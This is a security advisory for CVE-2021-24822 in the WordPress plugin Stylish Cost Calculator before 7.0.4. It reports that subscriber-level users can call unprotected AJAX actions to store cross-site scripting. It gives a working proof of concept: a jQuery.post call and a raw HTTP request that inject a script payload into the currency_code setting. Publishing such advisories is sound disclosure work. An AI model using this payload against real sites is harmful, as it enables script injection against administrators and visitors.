Stylish Cost Calculator < 7.0.4 – Subscriber+ Unauthorised AJAX Calls to Stored XSS | CVE 2021-24822

Description

The plugin does not have any authorisation and CSRF checks on some of its AJAX actions (available to authenticated users), which could allow any authenticated users, such as subscriber to call them, and perform Stored Cross-Site Scripting attacks against logged in admin, as well as frontend users due to the lack of sanitisation and escaping in some parameters

Proof of Concept

As a subscriber:

jQuery.post(ajaxurl,{
action:"sccSaveSettings",
// This can XSS any page that uses the plugin's shortcode
currency_code:"EUR</script><script>alert(/XSS/)</script>",
currency_text:"Euro",
currency_style:"default"})


POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 136
Connection: close
Cookie: [any authenticated user]

action=sccSaveSettings&currency_code=EUR%3C%2Fscript%3E%3Cscript%3Ealert(/XSS/)%3C%2Fscript%3E&currency_text=Euro&currency_style=default


The XSS will be triggered when an admin will create/edit a Calculator, or when any user view a calculator embed in a page